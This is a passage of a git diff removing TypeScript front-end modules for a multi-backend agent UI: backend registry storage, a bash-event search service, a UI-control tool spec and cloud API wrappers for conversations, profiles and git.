lastError: truncateErrorMessage(error), - lastFailureAt: Date.now(), - disabled, - }; - - commit({ ...healthMap, [id]: nextEntry }); -} - -/** - * Clear the entry so the next 10s tick can mark it healthy again. - * Called on a successful probe — also covers the case where a backend - * had a few failures but recovered before hitting the cap. - */ -export function recordBackendSuccess(id: string): void { - if (!(id in healthMap)) return; - const { [id]: _removed, ...rest } = healthMap; - commit(rest); -} - -/** - * Re-arm polling for a backend after the user updates its config. - * Identical to `recordBackendSuccess` today, but kept distinct so the - * call sites read clearly. - */ -export function resetBackendHealth(id: string): void { - if (!(id in healthMap)) return; - const { [id]: _removed, ...rest } = healthMap; - commit(rest); -} - -/** Drop the entry entirely — used when the backend is deleted. */ -export function dropBackendHealth(id: string): void { - if (!(id in healthMap)) return; - const { [id]: _removed, ...rest } = healthMap; - commit(rest); -} - -/** Test-only: re-read storage and clear listeners. */ - -export function __resetHealthStoreForTests(): void { - healthMap = readStoredHealth(); - listeners.clear(); -} diff --git a/src/api/backend-registry/index.ts b/src/api/backend-registry/index.ts deleted file mode 100644 index f3e94281c..000000000 --- a/src/api/backend-registry/index.ts +++ /dev/null @@ -1,5 +0,0 @@ -export * from "./types"; -export * from "./storage"; -export * from "./default-backend"; -export * from "./active-store"; -export * from "./auth"; diff --git a/src/api/backend-registry/last-conversation-store.ts b/src/api/backend-registry/last-conversation-store.ts deleted file mode 100644 index ccf7bcf41..000000000 --- a/src/api/backend-registry/last-conversation-store.ts +++ /dev/null @@ -1,76 +0,0 @@ -// Per-(backend, org) memory of the most recently selected conversation. -// -// Used by `BackendSelector` so that flipping from backend A → B while a -// conversation was active in A jumps straight to B's most recent -// conversation (if any) instead of dropping the user on the home page. -// Plain `localStorage` is sufficient: reads happen synchronously during -// the dropdown's onChange and the data is purely a UX shortcut — losing -// it just falls back to the conversations list. - -export const LAST_CONVERSATION_STORAGE_KEY = - "openhands-last-conversation-by-backend"; - -type StoredMap = Record; - -function selectionKey(backendId: string, orgId: string | null): string { - return orgId ? `${backendId}::${orgId}` : backendId; -} - -function readMap(): StoredMap { - if (typeof window === "undefined") return {}; - try { - const raw = window.localStorage.getItem(LAST_CONVERSATION_STORAGE_KEY); - if (!raw) return {}; - const parsed = JSON.parse(raw) as unknown; - if (typeof parsed !== "object" || parsed === null) return {}; - const out: StoredMap = {}; - for (const [k, v] of Object.entries(parsed as Record)) { - if (typeof v === "string" && v.length > 0) out[k] = v; - } - return out; - } catch { - return {}; - } -} - -function writeMap(map: StoredMap): void { - if (typeof window === "undefined") return; - try { - window.localStorage.setItem( - LAST_CONVERSATION_STORAGE_KEY, - JSON.stringify(map), - ); - } catch { - /* ignore quota / serialization errors */ - } -} - -export function getLastConversationId( - backendId: string, - orgId: string | null, -): string | null { - return readMap()[selectionKey(backendId, orgId)] ?? null; -} - -export function setLastConversationId( - backendId: string, - orgId: string | null, - conversationId: string, -): void { - if (!conversationId) return; - const map = readMap(); - map[selectionKey(backendId, orgId)] = conversationId; - writeMap(map); -} - -export function clearLastConversationId( - backendId: string, - orgId: string | null, -): void { - const map = readMap(); - const key = selectionKey(backendId, orgId); - if (key in map) { - delete map[key]; - writeMap(map); - } -} diff --git a/src/api/backend-registry/storage.ts b/src/api/backend-registry/storage.ts deleted file mode 100644 index eb74b4c68..000000000 --- a/src/api/backend-registry/storage.ts +++ /dev/null @@ -1,240 +0,0 @@ -import { - SEEDED_DEFAULT_BACKEND_ID, - makeDefaultLocalBackend, - makeLockedCloudBackend, -} from "./default-backend"; -import type { - Backend, - BackendAuthMode, - BackendKind, - BackendSelection, -} from "./types"; - -export const BACKENDS_STORAGE_KEY = "openhands-backends"; -export const ACTIVE_BACKEND_STORAGE_KEY = "openhands-active-backend"; - -function isValidKind(value: unknown): value is BackendKind { - return value === "local" || value === "cloud"; -} - -function isValidAuthMode(value: unknown): value is BackendAuthMode { - return value === undefined || value === "api-key" || value === "cookie"; -} - -function isValidBackend(value: unknown): value is Backend { - if (typeof value !== "object" || value === null) return false; - const v = value as Partial; - return ( - typeof v.id === "string" && - v.id.length > 0 && - typeof v.name === "string" && - typeof v.host === "string" && - typeof v.apiKey === "string" && - isValidKind(v.kind) && - isValidAuthMode(v.authMode) - ); -} - -function isLoopbackUrl(value: string): boolean { - try { - const { hostname } = new URL(value); - return ( - hostname === "localhost" || - hostname === "127.0.0.1" || - hostname === "::1" || - hostname === "[::1]" - ); - } catch { - return false; - } -} - -function shouldSyncLauncherDefaultLocalBackend( - backend: Backend, - defaultBackend: Backend, -): boolean { - if (backend.id !== SEEDED_DEFAULT_BACKEND_ID || backend.kind !== "local") { - return false; - } - - return ( - backend.host === defaultBackend.host || - (isLoopbackUrl(backend.host) && isLoopbackUrl(defaultBackend.host)) - ); -} - -function syncLauncherDefaultLocalBackend(backends: Backend[]): Backend[] { - const defaultBackend = makeDefaultLocalBackend(); - if (!defaultBackend) return backends; - - let didSync = false; - const syncedBackends = backends.map((backend) => { - if (!shouldSyncLauncherDefaultLocalBackend(backend, defaultBackend)) { - return backend; - } - - if (backend.apiKey === defaultBackend.apiKey) return backend; - - didSync = true; - return { - ...backend, - apiKey: defaultBackend.apiKey, - }; - }); - - if (!didSync) return backends; - - writeStoredBackends(syncedBackends); - return syncedBackends; -} - -export function writeStoredBackends(backends: Backend[]): void { - if (typeof window === "undefined") return; - try { - window.localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify(backends)); - } catch { - /* ignore quota / serialization errors */ - } -} - -export function readStoredBackends(): Backend[] { - if (typeof window === "undefined") return []; - - try { - const lockedCloudBackend = makeLockedCloudBackend(); - if (lockedCloudBackend) { - writeStoredBackends([lockedCloudBackend]); - const activeSelection = readStoredActiveBackend(); - if (activeSelection?.backendId !== lockedCloudBackend.id) { - writeStoredActiveBackend({ backendId: lockedCloudBackend.id }); - } - return [lockedCloudBackend]; - } - - const raw = window.localStorage.getItem(BACKENDS_STORAGE_KEY); - - // First install: seed only when the launcher supplied enough information - // for a usable local backend. - if (raw === null) { - const defaultBackend = makeDefaultLocalBackend(); - if (!defaultBackend) return []; - - writeStoredBackends([defaultBackend]); - return [defaultBackend]; - } - - const parsed = JSON.parse(raw); - if (!Array.isArray(parsed)) return []; - const valid = parsed.filter(isValidBackend); - - // If the stored array is empty (or everything in it failed validation), - // only re-seed when the launcher supplied both a host and API key. - if (valid.length === 0) { - const defaultBackend = makeDefaultLocalBackend(); - if (!defaultBackend) return []; - - writeStoredBackends([defaultBackend]); - return [defaultBackend]; - } - - const synced = syncLauncherDefaultLocalBackend(valid); - return synced; - } catch { - return []; - } -} - -function parseBackendSelection(raw: string | null): BackendSelection | null { - if (!raw) return null; - - try { - const parsed = JSON.parse(raw); - if ( - typeof parsed !== "object" || - parsed === null || - typeof (parsed as BackendSelection).backendId !== "string" - ) { - return null; - } - const orgIdRaw = (parsed as BackendSelection).orgId; - return { - backendId: (parsed as BackendSelection).backendId, - orgId: - typeof orgIdRaw === "string" && orgIdRaw.length > 0 ? orgIdRaw : null, - }; - } catch { - return null; - } -} - -function readStorageItem( - storage: Storage | undefined, - key: string, -): string | null { - try { - return storage?.getItem(key) ?? null; - } catch { - return null; - } -} - -function writeStorageItem( - storage: Storage | undefined, - key: string, - value: string, -): void { - try { - storage?.setItem(key, value); - } catch { - /* ignore */ - } -} - -function removeStorageItem(storage: Storage | undefined, key: string): void { - try { - storage?.removeItem(key); - } catch { - /* ignore */ - } -} - -export function readStoredActiveBackend(): BackendSelection | null { - if (typeof window === "undefined") return null; - - // Active backend is tab-scoped so reloading tab A does not adopt tab B's - // backend. localStorage remains a last-used fallback for fresh tabs and old - // persisted state. - const sessionSelection = parseBackendSelection( - readStorageItem(window.sessionStorage, ACTIVE_BACKEND_STORAGE_KEY), - ); - if (sessionSelection) return sessionSelection; - - return parseBackendSelection( - readStorageItem(window.localStorage, ACTIVE_BACKEND_STORAGE_KEY), - ); -} - -export function writeStoredActiveBackend( - selection: BackendSelection | null, -): void { - if (typeof window === "undefined") return; - - if (!selection) { - removeStorageItem(window.sessionStorage, ACTIVE_BACKEND_STORAGE_KEY); - removeStorageItem(window.localStorage, ACTIVE_BACKEND_STORAGE_KEY); - return; - } - - const serialized = JSON.stringify({ - backendId: selection.backendId, - orgId: selection.orgId ?? null, - }); - // Mirror to localStorage only as the default for new tabs/backward - // compatibility; reads in existing tabs prefer sessionStorage. - writeStorageItem( - window.sessionStorage, - ACTIVE_BACKEND_STORAGE_KEY, - serialized, - ); - writeStorageItem(window.localStorage, ACTIVE_BACKEND_STORAGE_KEY, serialized); -} diff --git a/src/api/backend-registry/types.ts b/src/api/backend-registry/types.ts deleted file mode 100644 index 3a3c2e861..000000000 --- a/src/api/backend-registry/types.ts +++ /dev/null @@ -1,21 +0,0 @@ -export type BackendKind = "local" | "cloud"; -export type BackendAuthMode = "api-key" | "cookie"; - -export interface Backend { - id: string; - name: string; - host: string; - apiKey: string; - kind: BackendKind; - authMode?: BackendAuthMode; -} - -export interface BackendSelection { - backendId: string; - orgId?: string | null; -} - -export interface ResolvedActiveBackend { - backend: Backend; - orgId: string | null; -} diff --git a/src/api/bash-service/bash-service.api.ts b/src/api/bash-service/bash-service.api.ts deleted file mode 100644 index a8cab102d..000000000 --- a/src/api/bash-service/bash-service.api.ts +++ /dev/null @@ -1,121 +0,0 @@ -import { BashClient } from "@openhands/typescript-client/clients"; -import type { - BashEvent, - BashEventPage, - BashOutput, -} from "@openhands/typescript-client"; -import { buildHttpBaseUrl } from "#/utils/websocket-url"; -import { getActiveBackend } from "../backend-registry/active-store"; -import { callCloudProxy } from "../cloud/proxy"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; - -interface SearchOptions { - kind__eq?: "BashCommand" | "BashOutput"; - command_id__eq?: string; - sort_order?: "TIMESTAMP" | "TIMESTAMP_DESC"; - page_id?: string; - limit?: number; -} - -const MAX_OUTPUT_PAGES = 20; // safety cap; >2000 output events is unlikely. - -function isBashOutput(event: BashEvent): event is BashOutput { - return event.kind === "BashOutput"; -} - -/** - * Cloud-aware bash event reads. - * - * Bash events live on the agent-server runtime that owns the - * conversation. In **local** mode we talk to the active backend's - * agent-server directly with the SDK's `BashClient` (a per-conversation - * URL is honoured when known, otherwise we fall back to the backend - * host — a single local agent-server hosts all conversations). In - * **cloud** mode we tunnel through `callCloudProxy` with the runtime URL - * as `hostOverride`: direct browser calls to `*.prod-runtime.all-hands.dev` - * are blocked by CORS, and runtime endpoints authenticate with the - * conversation's `X-Session-API-Key`. - * - * Note on the search filter name: the agent-server API uses - * `command_id__eq` (not `bash_command_id__eq`) — that's the parameter the - * `BashService.search_bash_events` Python implementation declares and - * what the typescript-client's `BashEventSearchOptions` exposes. - */ -class BashService { - /** - * Fetch all `BashOutput` events for a bash command, paginated and - * sorted by timestamp. Returns events in command-emission order so - * callers can concatenate `stdout` / `stderr` values directly. - */ - static async listOutputs( - conversationUrl: string | null, - sessionApiKey: string | null | undefined, - bashCommandId: string, - ): Promise { - const outputs: BashOutput[] = []; - let pageId: string | undefined; - for (let i = 0; i < MAX_OUTPUT_PAGES; i += 1) { - const page = await BashService.searchEvents( - conversationUrl, - sessionApiKey, - { - kind__eq: "BashOutput", - command_id__eq: bashCommandId, - sort_order: "TIMESTAMP", - ...(pageId ? { page_id: pageId } : {}), - }, - ); - page.items.forEach((event) => { - if (isBashOutput(event)) outputs.push(event); - }); - if (!page.next_page_id) break; - pageId = page.next_page_id; - } - return outputs; - } - - private static async searchEvents( - conversationUrl: string | null, - sessionApiKey: string | null | undefined, - options: SearchOptions, - ): Promise { - const active = getActiveBackend().backend; - - if (active.kind === "cloud") { - // Cloud requires the per-conversation runtime URL — there is no - // shared cloud host that owns bash events. Callers must wait for - // the conversation to be hydrated before invoking this method on - // a cloud backend. - if (!conversationUrl) { - throw new Error( - "BashService.listOutputs requires a conversation URL on cloud backends", - ); - } - const params = new URLSearchParams(); - Object.entries(options).forEach(([k, v]) => { - if (v !== undefined && v !== null) params.set(k, String(v)); - }); - return callCloudProxy({ - backend: active, - method: "GET", - hostOverride: buildHttpBaseUrl(conversationUrl), - path: `/api/bash/bash_events/search?${params.toString()}`, - authMode: "session-api-key", - sessionApiKey, - }); - } - - // Local mode: the active backend's agent-server hosts the bash - // events. The optional `conversationUrl` is used when present (lets - // us target a per-conversation sub-host), otherwise we fall through - // to `backend.host` via `getAgentServerClientOptions`. - return new BashClient( - getAgentServerClientOptions({ - ...(conversationUrl ? { conversationUrl } : {}), - sessionApiKey, - }), - ).searchEvents(options); - } -} - -export default BashService; diff --git a/src/api/canvas-ui-client-tool.ts b/src/api/canvas-ui-client-tool.ts deleted file mode 100644 index 168c83eab..000000000 --- a/src/api/canvas-ui-client-tool.ts +++ /dev/null @@ -1,91 +0,0 @@ -import { CANVAS_UI_CLIENT_TOOL_NAME } from "#/constants/canvas-ui"; - -export { - CANVAS_UI_CLIENT_ACTION_KIND, - CANVAS_UI_CLIENT_TOOL_NAME, - LEGACY_CANVAS_UI_TOOL_NAME, -} from "#/constants/canvas-ui"; - -export interface ClientToolSpec { - name: string; - description: string; - parameters: Record; - annotations?: { - title?: string | null; - readOnlyHint: boolean; - destructiveHint: boolean; - idempotentHint: boolean; - openWorldHint: boolean; - }; -} - -const CANVAS_UI_DESCRIPTION = `The user is interacting with you inside Agent Canvas — a web UI with a chat panel on the left and a tabbed right-side panel (files, terminal, browser, vscode, planner, tasklist). This tool lets you drive that right-side panel so the user sees what you just produced. - -They will NOT see the files you wrote, the terminal output, or the browser -unless you call this tool to switch the right-side panel to the relevant -tab. Call this every time you finish work that produces something the user -should look at — don't rely on them noticing on their own. - -When to call (pick the most specific option that matches your last action): - -* You wrote or modified a single file (ANY language, ANY size — including - small scripts like a hello-world bash file) → - command="navigate_to_file", path= - -* You generated an HTML page, image, SVG, PDF, markdown report, or other - previewable artifact → - command="show_preview", path= - -* You finished editing multiple files in one logical step → - command="open_tab", tab="files" - (The Files tab automatically renders a diff view when the workspace has - uncommitted git changes, which covers the "highlight changes" case.) - -* You ran a long-running terminal command, or one whose output the user - should inspect → - command="open_tab", tab="terminal" - -* You browsed to a URL the user should see → - First call browser_get_state(include_screenshot=true) after your final - browser interaction so Agent Canvas has a screenshot to display, then call - command="open_tab", tab="browser" - (browser_navigate alone only updates the URL; without browser_get_state, - the Browser tab will open without a screenshot.) - -Call this BEFORE writing your chat-message summary of the change, so the -artifact is visible while the user reads what you did. One canvas_ui_control -call per logical step is enough — don't repeat it for the same file or tab in -the same turn.`; - -export const CANVAS_UI_CLIENT_TOOL: ClientToolSpec = { - name: CANVAS_UI_CLIENT_TOOL_NAME, - description: CANVAS_UI_DESCRIPTION, - parameters: { - type: "object", - additionalProperties: false, - properties: { - command: { - type: "string", - enum: ["navigate_to_file", "open_tab", "show_preview"], - description: "UI command to dispatch.", - }, - path: { - type: "string", - description: - "Workspace-relative file path. Required for navigate_to_file and show_preview; ignored otherwise.", - }, - tab: { - type: "string", - enum: ["files", "browser", "vscode", "terminal", "planner", "tasklist"], - description: "Tab to open. Required for open_tab; ignored otherwise.", - }, - }, - required: ["command"], - }, - annotations: { - readOnlyHint: true, - destructiveHint: false, - idempotentHint: true, - openWorldHint: false, - }, -}; diff --git a/src/api/client-source.ts b/src/api/client-source.ts deleted file mode 100644 index 48443ef8b..000000000 --- a/src/api/client-source.ts +++ /dev/null @@ -1,20 +0,0 @@ -import packageJson from "../../package.json"; - -export const AGENT_CANVAS_CLIENT_SOURCE = "agent_canvas"; -export const AGENT_CANVAS_CLIENT_VERSION = packageJson.version; - -/** - * Coarse, non-user-identifying request metadata for Cloud observability. - * - * Cloud ingress can retain these headers as facets without logging request - * bodies, API keys, device codes, or conversation content. - */ -export const OPENHANDS_CLIENT_HEADER = "X-OpenHands-Client"; -export const OPENHANDS_CLIENT_VERSION_HEADER = "X-OpenHands-Client-Version"; -export const OPENHANDS_TELEMETRY_DISTINCT_ID_HEADER = - "X-OpenHands-Telemetry-Distinct-Id"; - -export const AGENT_CANVAS_CLIENT_HEADERS: Readonly> = { - [OPENHANDS_CLIENT_HEADER]: AGENT_CANVAS_CLIENT_SOURCE, - [OPENHANDS_CLIENT_VERSION_HEADER]: AGENT_CANVAS_CLIENT_VERSION, -}; diff --git a/src/api/cloud/agent-profiles-service.api.ts b/src/api/cloud/agent-profiles-service.api.ts deleted file mode 100644 index 010876afb..000000000 --- a/src/api/cloud/agent-profiles-service.api.ts +++ /dev/null @@ -1,98 +0,0 @@ -import type { - AgentProfileSaveInput, - AgentProfileListResponse, - AgentProfileDetailResponse, - AgentProfileMutationResponse, - ActivateAgentProfileResponse, -} from "@openhands/typescript-client"; -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; -import { callCloudProxy } from "./proxy"; - -/** - * Cloud transport for the Agent Profiles surface. The cloud enterprise - * app-server exposes the SAME `/api/agent-profiles` contract as the local - * agent-server (paths + response shapes mirror `agent_profiles_router.py`), - * but cloud calls authenticate with the backend's bearer token + `X-Org-Id` - * and must go through {@link callCloudProxy} — not the direct - * `AgentProfilesClient` (which speaks `X-Session-API-Key` to a local host). - * - * The org is resolved server-side from the auth session (`EFFECTIVE_ORG_ID`), - * so — unlike org LLM profiles — no `{org_id}` path segment is needed here. - * - * Mirrors the pattern in `cloud/settings-service.api.ts`. Consumed by - * `AgentProfilesService` on the cloud path. - */ - -const BASE = "/api/agent-profiles"; - -function activeCloudBackend(): Backend { - const active = getActiveBackend().backend; - if (active.kind !== "cloud") { - throw new Error("Cloud agent-profile call requires a cloud backend."); - } - return active; -} - -export async function listCloudAgentProfiles(): Promise { - return callCloudProxy({ - backend: activeCloudBackend(), - method: "GET", - path: BASE, - }); -} - -export async function getCloudAgentProfile( - name: string, -): Promise { - return callCloudProxy({ - backend: activeCloudBackend(), - method: "GET", - path: `${BASE}/${encodeURIComponent(name)}`, - }); -} - -export async function saveCloudAgentProfile( - name: string, - profile: AgentProfileSaveInput, -): Promise { - return callCloudProxy({ - backend: activeCloudBackend(), - method: "POST", - path: `${BASE}/${encodeURIComponent(name)}`, - body: profile, - }); -} - -export async function deleteCloudAgentProfile( - name: string, -): Promise { - return callCloudProxy({ - backend: activeCloudBackend(), - method: "DELETE", - path: `${BASE}/${encodeURIComponent(name)}`, - }); -} - -export async function renameCloudAgentProfile( - name: string, - newName: string, -): Promise { - return callCloudProxy({ - backend: activeCloudBackend(), - method: "POST", - path: `${BASE}/${encodeURIComponent(name)}/rename`, - body: { new_name: newName }, - }); -} - -export async function activateCloudAgentProfile( - profileId: string, -): Promise { - return callCloudProxy({ - backend: activeCloudBackend(), - method: "POST", - path: `${BASE}/${encodeURIComponent(profileId)}/activate`, - body: {}, - }); -} diff --git a/src/api/cloud/client.ts b/src/api/cloud/client.ts deleted file mode 100644 index f50b0951b..000000000 --- a/src/api/cloud/client.ts +++ /dev/null @@ -1,63 +0,0 @@ -import { CloudClient } from "@openhands/typescript-client/clients"; -import { - getAgentServerBaseUrl, - getAgentServerHeaders, -} from "../agent-server-config"; -import { NoBackendAvailableError } from "../agent-server-client-options"; -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; - -function requireCloudBackend(backend?: Backend): Backend { - if (backend) return backend; - const active = getActiveBackend().backend; - if (active.kind !== "cloud") { - throw new Error("Cloud calls require a cloud backend."); - } - return active; -} - -/** - * Send `X-Org-Id` so the upstream scopes per-request to the org the user - * selected locally, instead of the user's globally-shared `current_org_id` - * on the cloud backend. Restricted to calls against the active backend: the - * selector also fans out per-backend bookkeeping calls (e.g. - * `getCloudOrganizations(b)`) that would otherwise carry the active - * backend's orgId across an unrelated API key, which the cloud backend - * rejects when api_key_org_id and X-Org-Id disagree. - */ -function activeOrgForBackend(backend: Backend): string | null { - const active = getActiveBackend(); - return active.backend.id === backend.id ? active.orgId : null; -} - -export function createCloudClient(backend?: Backend): CloudClient { - const target = requireCloudBackend(backend); - const proxyBaseUrl = getAgentServerBaseUrl(); - const proxyHeaders = proxyBaseUrl ? getAgentServerHeaders() : {}; - - return new CloudClient({ - host: target.host, - apiKey: target.apiKey, - orgId: activeOrgForBackend(target), - // Default request timeout in ms, matching the 30s the previous axios - // transport used for direct and proxied calls. Per-request - // `timeoutSeconds` still overrides it for direct calls. - timeout: 30_000, - ...(proxyBaseUrl - ? { - proxy: { - host: proxyBaseUrl, - headers: proxyHeaders, - }, - } - : {}), - }); -} - -export function createCloudClientForRuntime(backend?: Backend): CloudClient { - const client = createCloudClient(backend); - if (!client.proxy) { - throw new NoBackendAvailableError(); - } - return client; -} diff --git a/src/api/cloud/conversation-service.api.ts b/src/api/cloud/conversation-service.api.ts deleted file mode 100644 index f5e5f29d6..000000000 --- a/src/api/cloud/conversation-service.api.ts +++ /dev/null @@ -1,263 +0,0 @@ -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; -import { getStoredConversationMetadata } from "../conversation-metadata-store"; -import type { - AppConversation, - AppConversationPage, - AppConversationStartRequest, - AppConversationStartTask, -} from "../conversation-service/agent-server-conversation-service.types"; -import { AGENT_CANVAS_CLIENT_HEADERS } from "../client-source"; -import { callCloudProxy } from "./proxy"; - -/** - * The cloud backend does not always echo `selected_repository` / - * `selected_branch` / `git_provider` back from - * `GET /api/v1/app-conversations` until its own background hydration - * completes. We persist the selection to local storage at connect time - * (see `AgentServerConversationService.updateConversationRepository`) - * and overlay it here so the chat-page git control bar reflects the - * connection immediately, instead of snapping back to the empty - * "Connect Repo" state on every refetch. - * - * Server values take precedence whenever they're populated; the - * local-storage fallback only fills in fields the server returned as - * `null`/`undefined`. - */ -function overlayStoredRepoSelection( - conversation: AppConversation | null, -): AppConversation | null { - if (!conversation?.id) return conversation; - const stored = getStoredConversationMetadata(conversation.id); - if (!stored) return conversation; - - return { - ...conversation, - selected_repository: - conversation.selected_repository ?? stored.selected_repository ?? null, - selected_branch: - conversation.selected_branch ?? stored.selected_branch ?? null, - git_provider: conversation.git_provider ?? stored.git_provider ?? null, - selected_workspace: - conversation.selected_workspace ?? stored.selected_workspace ?? null, - }; -} - -function getActiveCloudBackend(): Backend { - const active = getActiveBackend().backend; - if (active.kind !== "cloud") { - throw new Error("Cloud conversations call requires a cloud backend."); - } - return active; -} - -/** - * Search the cloud app-conversations list. Mirrors the local - * `AgentServerConversationService.searchConversations` interface but calls - * the cloud endpoint `/api/v1/app-conversations/search`. - */ -export async function searchCloudConversations( - limit: number = 20, - pageId?: string, -): Promise { - const backend = getActiveCloudBackend(); - const params = new URLSearchParams(); - params.set("limit", String(limit)); - if (pageId) params.set("page_id", pageId); - params.set("sort_order", "UPDATED_AT_DESC"); - - const data = await callCloudProxy<{ - items: AppConversation[]; - next_page_id: string | null; - }>({ - backend, - method: "GET", - path: `/api/v1/app-conversations/search?${params.toString()}`, - }); - - return { - items: (data?.items ?? []).map( - (item) => overlayStoredRepoSelection(item) as AppConversation, - ), - next_page_id: data?.next_page_id ?? null, - }; -} - -/** - * Batch-fetch cloud app-conversations by id. Mirrors the local - * `AgentServerConversationService.batchGetAppConversations` interface. - */ -export async function batchGetCloudConversations( - ids: string[], -): Promise<(AppConversation | null)[]> { - if (ids.length === 0) return []; - const backend = getActiveCloudBackend(); - const params = new URLSearchParams(); - for (const id of ids) params.append("ids", id); - const data = await callCloudProxy<(AppConversation | null)[]>({ - backend, - method: "GET", - path: `/api/v1/app-conversations?${params.toString()}`, - }); - return (data ?? []).map(overlayStoredRepoSelection); -} - -/** - * Create a v1 app-conversation on the cloud backend. - * - * Mirrors OpenHands' cloud flow: POST /api/v1/app-conversations with the - * `AppConversationStartRequest` payload, returning a - * `AppConversationStartTask`. The task is initially WORKING; the caller - * polls `getCloudAppConversationStartTask` (3s cadence per OpenHands) - * until status is READY (then `app_conversation_id`, `agent_server_url`, - * and `session_api_key` are populated) or ERROR. - * - * This path does NOT use encrypted-settings round-tripping. Secrets stay - * server-side on the cloud backend — the only auth carried is the cloud bearer - * token, and the conversation runtime is - * provisioned with its own ephemeral session_api_key returned in the - * task. - */ -export async function createCloudAppConversation( - request: AppConversationStartRequest, -): Promise { - const backend = getActiveCloudBackend(); - const data = await callCloudProxy({ - backend, - method: "POST", - path: "/api/v1/app-conversations", - body: request as unknown as Record, - headers: AGENT_CANVAS_CLIENT_HEADERS, - }); - return data; -} - -/** - * Download a v1 app-conversation as a ZIP from the cloud backend. Mirrors - * the local `AgentServerConversationService.downloadConversation` interface but - * calls - * `GET /api/v1/app-conversations/{id}/download`, which returns - * `application/zip` with `Content-Disposition` set by the cloud backend. - */ -export async function downloadCloudConversation( - conversationId: string, -): Promise { - const backend = getActiveCloudBackend(); - return callCloudProxy({ - backend, - method: "GET", - path: `/api/v1/app-conversations/${conversationId}/download`, - responseType: "blob", - }); -} - -/** - * Delete a v1 app-conversation on the cloud backend. Mirrors the local - * `AgentServerConversationService.deleteConversation` interface but calls - * `DELETE /api/v1/app-conversations/{id}`, which returns a JSON - * `Success` envelope (discarded here — the caller only needs to know - * the request didn't error). - */ -export async function deleteCloudConversation( - conversationId: string, -): Promise { - const backend = getActiveCloudBackend(); - await callCloudProxy({ - backend, - method: "DELETE", - path: `/api/v1/app-conversations/${conversationId}`, - }); -} - -/** - * Toggle the public-sharing flag on a cloud v1 app-conversation. Mirrors - * OpenHands' `AgentServerConversationService.updateConversationPublicFlag`: - * `PATCH /api/v1/app-conversations/{id}` with `{ public }`, returning - * the updated conversation. - */ -export async function updateCloudConversationPublicFlag( - conversationId: string, - isPublic: boolean, -): Promise { - const backend = getActiveCloudBackend(); - const data = await callCloudProxy({ - backend, - method: "PATCH", - path: `/api/v1/app-conversations/${conversationId}`, - body: { public: isPublic }, - }); - return data; -} - -/** - * Pause the cloud sandbox backing a v1 app-conversation. Mirrors - * OpenHands' `SandboxService.pauseSandbox`: - * `POST /api/v1/sandboxes/{sandboxId}/pause` on the cloud backend, which stops - * the runtime owning the conversation. - */ -export async function pauseCloudSandbox(sandboxId: string): Promise { - const backend = getActiveCloudBackend(); - await callCloudProxy({ - backend, - method: "POST", - path: `/api/v1/sandboxes/${sandboxId}/pause`, - }); -} - -/** - * Resume a paused cloud sandbox. Mirrors OpenHands' `SandboxService.resumeSandbox` - * by calling `POST /api/v1/sandboxes/{sandboxId}/resume` on the SaaS. - * - * This is the correct endpoint for waking a PAUSED sandbox. It is a - * lightweight unpause — NOT the same as creating a new start task via - * `POST /api/v1/app-conversations`, which provisions a fresh conversation - * and is subject to the 120-second sandbox-start timeout. - */ -export async function resumeCloudSandbox(sandboxId: string): Promise { - const backend = getActiveCloudBackend(); - await callCloudProxy({ - backend, - method: "POST", - path: `/api/v1/sandboxes/${sandboxId}/resume`, - }); -} - -/** - * Read a file from a cloud conversation's sandbox workspace. Mirrors - * OpenHands' `AgentServerConversationService.readConversationFile` — hits - * `GET /api/v1/app-conversations/{id}/file?file_path=...` on the cloud backend - * and returns the file content as a string. - */ -export async function readCloudConversationFile( - conversationId: string, - filePath: string, -): Promise { - const backend = getActiveCloudBackend(); - const params = new URLSearchParams(); - params.append("file_path", filePath); - const data = await callCloudProxy({ - backend, - method: "GET", - path: `/api/v1/app-conversations/${conversationId}/file?${params.toString()}`, - }); - return data ?? ""; -} - -/** - * Fetch a single v1 app-conversation start task. Mirrors OpenHands' - * `AgentServerConversationService.getStartTask` — uses the batch search endpoint - * with a single id and unwraps the first result. - */ -export async function getCloudAppConversationStartTask( - taskId: string, -): Promise { - const backend = getActiveCloudBackend(); - const params = new URLSearchParams(); - params.set("ids", taskId); - const data = await callCloudProxy<(AppConversationStartTask | null)[]>({ - backend, - method: "GET", - path: `/api/v1/app-conversations/start-tasks?${params.toString()}`, - }); - return data?.[0] ?? null; -} diff --git a/src/api/cloud/git-service.api.ts b/src/api/cloud/git-service.api.ts deleted file mode 100644 index 8a6020923..000000000 --- a/src/api/cloud/git-service.api.ts +++ /dev/null @@ -1,104 +0,0 @@ -import type { - BranchPage, - GitRepository, - InstallationPage, - RepositoryPage, -} from "#/types/git"; -import type { Provider } from "#/types/settings"; -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; -import { callCloudProxy } from "./proxy"; - -function getActiveCloudBackend(): Backend { - const active = getActiveBackend().backend; - if (active.kind !== "cloud") { - throw new Error("Cloud git call requires a cloud backend."); - } - return active; -} - -export async function searchCloudRepositories(args: { - provider: Provider; - query?: string; - limit?: number; - pageId?: string; - installationId?: string; -}): Promise { - const backend = getActiveCloudBackend(); - const params = new URLSearchParams(); - params.set("provider", args.provider); - params.set("limit", String(args.limit ?? 100)); - if (args.query) params.set("query", args.query); - if (args.pageId) params.set("page_id", args.pageId); - if (args.installationId) params.set("installation_id", args.installationId); - - const data = await callCloudProxy<{ - items: GitRepository[]; - next_page_id: string | null; - }>({ - backend, - method: "GET", - path: `/api/v1/git/repositories/search?${params.toString()}`, - }); - - return { - items: data?.items ?? [], - next_page_id: data?.next_page_id ?? null, - }; -} - -export async function getCloudInstallations(args: { - provider: Provider; - pageId?: string; - limit?: number; -}): Promise { - const backend = getActiveCloudBackend(); - const params = new URLSearchParams(); - params.set("provider", args.provider); - params.set("limit", String(args.limit ?? 100)); - if (args.pageId) params.set("page_id", args.pageId); - - const data = await callCloudProxy<{ - items: string[]; - next_page_id: string | null; - }>({ - backend, - method: "GET", - path: `/api/v1/git/installations/search?${params.toString()}`, - }); - - return { - items: data?.items ?? [], - next_page_id: data?.next_page_id ?? null, - }; -} - -export async function getCloudRepositoryBranches(args: { - provider: Provider; - repository: string; - query?: string; - pageId?: string; - limit?: number; -}): Promise { - const backend = getActiveCloudBackend(); - const params = new URLSearchParams(); - params.set("provider", args.provider); - params.set("repository", args.repository); - params.set("limit", 